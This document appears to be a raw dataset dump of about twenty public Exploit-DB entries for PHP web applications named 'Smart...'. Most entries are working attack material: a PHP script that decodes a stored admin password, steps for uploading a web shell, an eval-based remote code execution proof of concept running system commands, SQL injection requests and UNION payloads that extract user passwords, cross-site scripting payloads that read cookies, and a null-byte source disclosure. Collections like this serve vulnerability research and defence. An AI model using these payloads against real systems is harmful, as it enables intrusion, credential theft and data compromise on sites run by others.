deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10437
Description: Smart PHP Subscriber - Multiple Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-14
Author: Milos Zivanovic

Exploit:
[#-----------------------------------------------------------------------------------------------#]
[#] Title: Smart PHP Subscriber Multiple Disclosure Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 14. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Smart PHP Subscriber
[#] Version: the only one there is
[#] Platform: PHP
[#] Vulnerability: Multiple Disclosure Vulnerabilities
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--Admin password disclosure
 |--Subscribers list disclosure

[*]Admin password disclosure

Admin password is saved locally in pwd.txt file with some simple
encoding. This is the algorithm
used:
base64(base64(password)+"||&@23||password>||&~||")

String in "" (quotes) is constant, so we're able to decode it with
couple lines of code. Here's the
script to decode admins password:

[DECODE-SCRIPT------------------------------------------------------------------------------------]
<?php
  $pwd_file = "http://localhost/smartphps/pwd.txt";
  $half_way = base64_decode(file_get_contents($pwd_file));
  $almost_there = explode("||&@23||password>||&~||", $half_way);
  echo base64_decode($almost_there[0])."\n";
?>
[DECODE-SCRIPT------------------------------------------------------------------------------------]

[-]Subscribers list disclosure

List of subscribed emails is saved locally in subscribe.txt file with
base64 encoding. Each line
holds info about 1 subscriber. Data is inserted in this format:

base64(email)+";"+base64(name)+";"+date("D
d-M-Y")+";"+time()+";"+verified(1 or 0)+";"+line_number

Using regular base64_decode function built in php we can decode emails.

[#] EOF
Exploit-DB #10727
Description: Smart PHP Uploader 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-27
Author: Phenom

Exploit:
 #######################################################################
 #                                                                     #
 ###     Smart PHP Uploader 1.0 Remote File Upload Vulnerability     ###
 #                                                                     #
 #######################################################################
 #                                                                     #
 #  Author : Phenom                                                    #
 #                                                                     #
 #  vendor : http://www.scriptsez.net                                  #
 #                                                                     #
 #  language : PHP                                                     #
 #                                                                     #
 #  Version : 1.0                                                      #
 #                                                                     #
 #######################################################################
 #                                                                     #
 # Exploit :                                                           #
 #                                                                     #
 # 1- http://server/path/phpuploader.php                               #
 #                                                                     #
 # 2- upload your shell                                                #
 #                                                                     #
 # 3- http://server/path/yourshell.php                                 #
 #                                                                     #
 #######################################################################
Exploit-DB #5003
Description: Smart Publisher 1.0.1 - 'filedata' Remote Code Execution
Type: webapps
Platform: php
Date: 2008-01-29
Author: GoLd_M

Exploit:
              ######    ######                 ##############               ######  ######                      ########          ##    
                ####      ##                   ##    ##    ##                 ##      ##                      ##      ##                
  ########      ##  ##    ##      ########           ##       ####  ######      ##  ##        ########      ##                ######    
##        ##    ##  ##    ##    ##        ##         ##         ####            ##  ##      ##        ##    ##                    ##    
  ##########    ##    ##  ##      ##########         ##         ##                ##          ##########    ##      ######        ##    
##        ##    ##    ##  ##    ##        ##         ##         ##                ##        ##        ##    ##        ##          ##    
##        ##    ##      ####    ##        ##  ###    ##         ##                ##        ##        ##      ##      ##          ##    
  #########   ######    ####      #########   ###  ######     ##########        ######        ##########        ######        ##########

                            ######################################################################
                            ### Smart Publisher 1.0.1 (disp.php) Remote Code Execution Exploit ###
                            ### Script : http://sourceforge.net/projects/smart-publisher/      ###
                            ### Vuln Code In '/admin/op/disp.php'In Line '3'                   ###
                            ### eval("\$v=".base64_decode($filedata).";"); <- Vuln             ###
                            ### POC :                                                          ###
                            ### /admin/op/disp.php?filedata=cGhwaW5mbygp <= phpinfo() Base64   ###
                            ### ?filedata=cGFzc3RoZXUobHMgLWxpYTtpZDt1bmFtZSAtYSk <= passtheu(ls -lia;id;uname -a)
                            ######################################################################

# milw0rm.com [2008-01-29]
Exploit-DB #51472
Description: Smart School v1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-05-23
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Smart School v1.0 - SQL Injection
# Date: 2023-05-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor:
https://codecanyon.net/item/smart-school-school-management-system/19426018
# Demo Site: https://demo.smart-school.in
# Tested on: Kali Linux
# CVE: N/A


### Request ###

POST /course/filterRecords/ HTTP/1.1
Host: localhost
Cookie: ci_session=dd1bqn8ulsiog4vf7fle5hd4k4fklvve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 136
Origin: https://localhost
Referer: https://localhost/course/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close

searchdata%5B0%5D%5Btitle%5D=category&searchdata%5B0%5D%5Bsearchfield%5D=online_courses.category_id&searchdata%5B0%5D%5Bsearchvalue%5D=1


### Parameter & Payloads ###

Parameter: searchdata[0][searchfield] (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload:
searchdata[0][title]=category&searchdata[0][searchfield]=online_courses.category_id
AND (SELECT 7313 FROM (SELECT(SLEEP(5)))mvaR)--
hAHp&searchdata[0][searchvalue]=1
Exploit-DB #45049
Description: Smart SMS & Email Manager 3.3 - 'contact_type_id' SQL Injection
Type: webapps
Platform: php
Date: 2018-07-18
Author: AkkuS

Exploit:
# Exploit Title: Smart SMS & Email Manager v3.3 - SQL Injection
# Google Dork: N/A
# Date: 17.07.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/smart-sms-email-manager-ssem/14817919
# Version: 3.3
# Tested on: Kali linux
====================================================
The vulnerability allows an attacker to inject sql commands
from the search section with 'contact_type_id' parameter in the admin panel.


# PoC : SQLi :

http://site.net/phonebook/contact_list_data

POST /phonebook/contact_list_data HTTP/1.1
Host: site.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
Firefox/52.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site.net/phonebook/contact_list
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 141
Cookie:
ci_session=a%3A4%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22d61b9083afe2435321ba518449f3b108%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A14%3A%22213.14.165.138%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A52.0%29+Gecko%2F20100101+Firefox%2F52.0%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A[PII_REDACTED]%3B%7Dce4c26e8ee366999ae805f61eba75b1a;
xerone_dolphin=[PII_REDACTED]824070937
Connection: keep-alive
first_name=Test&last_name=test&phone_number=5555555&email=test%40test.com
&dob=07%2F04%2F2018&contact_type_id=280&is_searched=1&page=1&rows=10


Parameter: contact_type_id (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or
GROUP BY clause
    Payload: client_username=tes&contact_type_id=142' RLIKE (SELECT (CASE
WHEN (5715=5715) THEN 142 ELSE 0x28 END)) AND 'Jeop' LIKE
'Jeop&permission_search=1&search_page=[PII_REDACTED]36101&is_searched=1&page=1&rows=20

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (EXTRACTVALUE)
    Payload: client_username=tes&contact_type_id=142' AND
EXTRACTVALUE(4506,CONCAT(0x5c,0x[PII_REDACTED],(SELECT
(ELT(4506=4506,1))),0x[PII_REDACTED])) AND 'vZFG' LIKE
'vZFG&permission_search=1&search_page=[PII_REDACTED]36101&is_searched=1&page=1&rows=20

====================================================
Exploit-DB #34067
Description: Smart Statistics 1.0 - 'smart_Statistics_admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-10
Author: R3d-D3V!L

Exploit:
source: https://www.securityfocus.com/bid/40468/info

Smart Statistics is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Smart Statistics 1.0 is vulnerable; other versions may also be affected. 

http:/www.example.com/74rG37_H057/smart_statistics_admin.php?type=page&name=">><FONT SIZE="70" FACE="courier" COLOR=red><MARQUEE BEHAVIOR=SCROLL HEIGHT=25 WIDTH=300 BGColor=navy>R3d-D3v!L W@S h3R3</MARQUEE></FONT>
Exploit-DB #10977
Description: Smart Vision Script News - 'newsdetail.php' SQL Injection (1)
Type: webapps
Platform: php
Date: 2010-01-03
Author: Err0R

Exploit:
# Exploit Title: Smart Vsion Script News (newsdetail) SQL Injection Vulnerability
# Software Link: www.esmart-vision.com<http://www.esmart-vision.com/>


============================================
| Smart Vision Script News ( newsdetail ) SQL Injection Vulnerability
============================================
# (+) Author: Err0R
# (+) Site : www.sa-hacker.com/vb<http://www.sa-hacker.com/vb>
# (+) Email : a5q@hotmail.com<mailto:a5q@hotmail.com>
=====================================
~~~~~~~~~~~~~~~~~~~~
dork : Come from home Script ( Latest Project ) www.esmart-vision.com<http://www.esmart-vision.com/>
~~~~~~~~~~~~~~~~~~~~
Exploit : Site /path/newsdetail.php?id=-12+union+select+1,2,3,4,5,6,7--
And you come the enject ,,
Demo :-
User name : http://server/newsdetail.php?id=-12+union+select+1,user_name,3,4,5,6,7+from+zagrosle_zagros.user_accounts<http://server/newsdetail.php?id=-12+union+select+1,user_name,3,4,5,6,7+from+zagrosle_zagros.user_accounts>--
Password : http://server/newsdetail.php?id=-12+union+select+1,password,3,4,5,6,7+from+zagrosle_zagros.user_accounts<http:http://server/newsdetail.php?id=-12+union+select+1,password,3,4,5,6,7+from+zagrosle_zagros.user_accounts>--
admin Login : Site /path/admin/admin.php
=============================================================
#====GreeTZ===================#
#all member in www.sa-hacker.com/vb<http://www.sa-hacker.com/vb> #
#and all in My email : ) #
#============================#
Exploit-DB #30716
Description: Smart-Shop - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-10-29
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/26232/info

SMART-SHOP is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?page=&email=<Evil-Script> 
http://www.example.com/index.php?page=home&command=<Evil-Script> 
http://www.example.com/index.php?page=home&component=currencies&command=<Evil-Script> http://www.example.com/index.php?page=home&component=basket&command=%3Cscript%3Ealert(document.cookie);%3C/script%3E
Exploit-DB #5535
Description: SmartBlog 1.3 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-03
Author: His0k4

Exploit:
###################################################
[~] Smartblog remote SQL injection exploit
[~] Script download : http://ftp1.toocharger.com/scfQ9NS/smartblog_3868.zip                                                                                                              
[~] Founder: His0k4 { ALGERIAN HACKER }
[~] Greetz : All friends & muslims HaCkErS...
[~] Contact: His0k4.hlm[at]gmail.com
[~] Dork :  ActionnÃƒÂ©e par smartblog
[~] P.O.C :
---------------------
http://localhost/[script_path]/index.php?idt={SQL}
[~] Exemple :
http://localhost/[script_path]/index.php?idt=-1 UNION SELECT 1,concat_ws(0x3a,pseudo,pass),3,4,5,6,7,8,9 FROM smb_user--
---------------------
[~] Note:
    Admin http://localhost/[script_path]/?page=login.html
    You can upload a shell from the admin panel 
---------------------
###############################################

# milw0rm.com [2008-05-03]
Exploit-DB #33889
Description: SmartBlog 1.3 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-27
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/39756/info

SmartBlog is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

SmartBlog 1.3 is vulnerable; other versions may also be affected.

http://www.example.com/v1.3/?mois=%2527&an=2010
http://www.example.com/v1.3/commentaire.php?id='
http://www.example.com/v1.3/?mois=3&an=>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
Exploit-DB #35028
Description: SmartBox - 'page_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-11-26
Author: KnocKout

Exploit:
source: https://www.securityfocus.com/bid/45101/info

SmartBox is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.


A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/page.php?page_id=14%20and%20substring%28@@version,1,1%29=5
Exploit-DB #23029
Description: SmartCMS - '/index.php?menuitem' SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-11-30
Author: Yakir Wizman

Exploit:
##########################################################################
## SmartCMS SQL Injection & Cross Site Scripting Vulnerabilities
## Bug discovered by Yakir Wizman AKA Pr0T3cT10n, <yakir.wizman@gmail.com>
## Date: 29/11/2012
## Version: ALL
## Vendor Link: http://smartcms.nl/
## ISRAEL
##########################################################################
##          Author will be not responsible for any damage.
##########################################################################
## SQL Injection PoC:
## http://www.example.com/index.php?menuitem=29+AND+1=2+UNION+ALL+SELECT+version()--
## Cross Site Scripting PoC:
## http://www.example.comindex.php?menuitem=26&domeinvraag=<script>alert(1);</script>&aktie=Zoek&idx=23
##########################################################################
# 0x31337.net
##########################################################################
Exploit-DB #22936
Description: SmartCMS - 'index.php?idx' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-26
Author: NoGe

Exploit:
=============================================================================================================
  
  [o] SmartCMS <= SQL Injection Vulnerability
   
       Software : SmartMS
       Vendor   : http://smartcms.nl/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com/
 
=============================================================================================================
 
  [o] Exploit
 
       http://localhost/[path]/index.php?idx=[SQLi]
 
 
  [o] PoC
 
       http://localhost/[path]/index.php?idx=123+AND+1=2+UNION+ALL+SELECT+version()--
 
=============================================================================================================
 
  [o] Greetz
 
       Vrs-hCk OoN_BoY Paman zxvf s4va Angela Zhang stardustmemory
       aJe kaka11 matthews wishnusakti inc0mp13te martfella
       pizzyroot Genex H312Y noname tukulesto }^-^{
 
=============================================================================================================
 
  [o] November 26 2012 - Papua, Indonesia
Exploit-DB #12507
Description: SmartCMS 2 - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-04
Author: Ariko-Security

Exploit:
============ { Ariko-Security - Advisory #1/5/2010 } =============

       SQL injection vulnerability in SmartCMS v.2



Vendor's Description of Software:
# http://www.smartwebsites.com.cy/index.php?pageid=13&#9001;=en

Dork:
# n/a

Application Info:
# Name: SmartCMS
# Versions: V.2

Vulnerability Info:
# Type: SQL injection Vulnerability
# Risk: medium

Fix: 
# N/A

Time Table:
# 22/04/2010 - Vendor notified.


Input passed via the "pageid" ,"lang" parameters to index.php is not 

properly sanitised before being used in a SQL query.

Solution:
# Input validation of "pageid","lang" parameters should be corrected.


Vulnerability:
# http://[site]/index.php?pageid=[SQLi]&#9001;=[SQLi]

Credit:
# Discoverd By: MG
#Advisory:
http://www.ariko-security.com/apr2010/audyt_bezpieczenstwa_652.html
# Website: http://Ariko-security.com
# Contacts: support[-at-]ariko-security.com

Ariko-Security
vuln@ariko-security.com
tel.: [PII_REDACTED]2 (Mo-Fr 10.00-20.00 CET)
Exploit-DB #31240
Description: SmarterTools SmarterMail 4.3 - 'Subject' HTML Injection
Type: webapps
Platform: php
Date: 2008-02-19
Author: Juan Pablo Lopez Yacubian

Exploit:
source: https://www.securityfocus.com/bid/27878/info

SmarterMail is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

SmarterMail Enterprise 4.3 is vulnerable; other versions may also be affected. 

<XSS STYLE="xss:expression(alert(&#039;1&#039;))"><XSS 
STYLE="xss:expression(alert(&#039;2&#039;))">
Exploit-DB #36289
Description: SmartJobBoard - 'keywords' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-07
Author: Mr.PaPaRoSSe

Exploit:
source: https://www.securityfocus.com/bid/50552/info

SmartJobBoard is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/demo/search-results-resumes/?action=search&listing_type[equal]=Resume&keywords[exact_phrase]=%3Cscript%3Ealert%28%22DDz+Mr.PaPaRoSSe%22%29%3C%2Fscript%3E
Exploit-DB #33382
Description: SmartMedia Module 0.85 Beta for XOOPS - 'categoryId' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-11-30
Author: SoldierOfAllah

Exploit:
source: https://www.securityfocus.com/bid/37156/info

The SmartMedia module for XOOPS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SmartMedia 0.85 Beta is affected; other versions may also be vulnerable.

The following example URI is available:

http://www.example.com/modules/smartmedia/folder.php?categoryid=1>"><ScRiPt>alert(0);</ScRiPt>&folderid=1&start=0
Exploit-DB #34944
Description: SmartOptimizer - Null Character Remote Information Disclosure
Type: webapps
Platform: php
Date: 2010-11-01
Author: Francois Harvey

Exploit:
source: https://www.securityfocus.com/bid/44578/info

SmartOptimizer is prone to a remote information-disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view the source code of files in the context of the server process; this may aid in further attacks.

SmartOptimizer 1.7 is vulnerable; prior versions may also be affected. 

http://www.example.com/smartoptimizer/index.php?../index.php%00.js